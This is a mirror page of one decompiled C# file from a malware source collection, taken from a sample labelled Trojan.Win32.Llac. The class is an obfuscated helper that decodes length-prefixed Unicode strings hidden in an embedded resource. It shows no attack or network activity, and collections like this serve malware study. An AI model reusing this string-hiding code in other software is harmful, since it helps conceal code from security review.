mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-19 09:56:10 +00:00
f2ac1ece55
add
46 lines
2.7 KiB
C#
46 lines
2.7 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: A.ce63dce0f1ffb90aa10305820dbcda034
|
|
// Assembly: Service, Version=2.0.0.2, Culture=neutral, PublicKeyToken=null
|
|
// MVID: B7AA2EBA-E600-4CD2-B54D-4503D0055DE2
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Llac.gxwf-aba0073bd9b9f0c6c0103f289f18d82411c0702308f5a0dbcae1b577edc263b3.exe
|
|
|
|
using System.Reflection;
|
|
using System.Text;
|
|
|
|
namespace A
|
|
{
|
|
internal class ce63dce0f1ffb90aa10305820dbcda034
|
|
{
|
|
internal static readonly byte[] c595a5344dd4516dcddc22130a8ec8b1d;
|
|
|
|
static ce63dce0f1ffb90aa10305820dbcda034()
|
|
{
|
|
if (ce63dce0f1ffb90aa10305820dbcda034.c595a5344dd4516dcddc22130a8ec8b1d != null)
|
|
return;
|
|
Assembly executingAssembly = Assembly.GetExecutingAssembly();
|
|
ce63dce0f1ffb90aa10305820dbcda034.c595a5344dd4516dcddc22130a8ec8b1d = c7692e86eb2a74329ad9a7c19d9797b57.c12afc2e116cd62de076ec4482f164357(executingAssembly.GetManifestResourceStream(executingAssembly.GetName().Name + executingAssembly.GetName().Name));
|
|
}
|
|
|
|
internal static string cc3c9ee62526a7d585181352f632908ee(int cdba21996b17c6fe0263dc6f62660cc22)
|
|
{
|
|
int count;
|
|
if (((int) ce63dce0f1ffb90aa10305820dbcda034.c595a5344dd4516dcddc22130a8ec8b1d[cdba21996b17c6fe0263dc6f62660cc22] & 128) == 0)
|
|
{
|
|
count = (int) ce63dce0f1ffb90aa10305820dbcda034.c595a5344dd4516dcddc22130a8ec8b1d[cdba21996b17c6fe0263dc6f62660cc22];
|
|
++cdba21996b17c6fe0263dc6f62660cc22;
|
|
}
|
|
else if (((int) ce63dce0f1ffb90aa10305820dbcda034.c595a5344dd4516dcddc22130a8ec8b1d[cdba21996b17c6fe0263dc6f62660cc22] & 64) == 0)
|
|
{
|
|
count = ((int) ce63dce0f1ffb90aa10305820dbcda034.c595a5344dd4516dcddc22130a8ec8b1d[cdba21996b17c6fe0263dc6f62660cc22] & -129) << 8 | (int) ce63dce0f1ffb90aa10305820dbcda034.c595a5344dd4516dcddc22130a8ec8b1d[cdba21996b17c6fe0263dc6f62660cc22 + 1];
|
|
cdba21996b17c6fe0263dc6f62660cc22 += 2;
|
|
}
|
|
else
|
|
{
|
|
count = ((int) ce63dce0f1ffb90aa10305820dbcda034.c595a5344dd4516dcddc22130a8ec8b1d[cdba21996b17c6fe0263dc6f62660cc22] & -193) << 24 | (int) ce63dce0f1ffb90aa10305820dbcda034.c595a5344dd4516dcddc22130a8ec8b1d[cdba21996b17c6fe0263dc6f62660cc22 + 1] << 16 | (int) ce63dce0f1ffb90aa10305820dbcda034.c595a5344dd4516dcddc22130a8ec8b1d[cdba21996b17c6fe0263dc6f62660cc22 + 2] << 8 | (int) ce63dce0f1ffb90aa10305820dbcda034.c595a5344dd4516dcddc22130a8ec8b1d[cdba21996b17c6fe0263dc6f62660cc22 + 3];
|
|
cdba21996b17c6fe0263dc6f62660cc22 += 4;
|
|
}
|
|
return count < 1 ? string.Empty : string.Intern(Encoding.Unicode.GetString(ce63dce0f1ffb90aa10305820dbcda034.c595a5344dd4516dcddc22130a8ec8b1d, cdba21996b17c6fe0263dc6f62660cc22, count));
|
|
}
|
|
}
|
|
}
|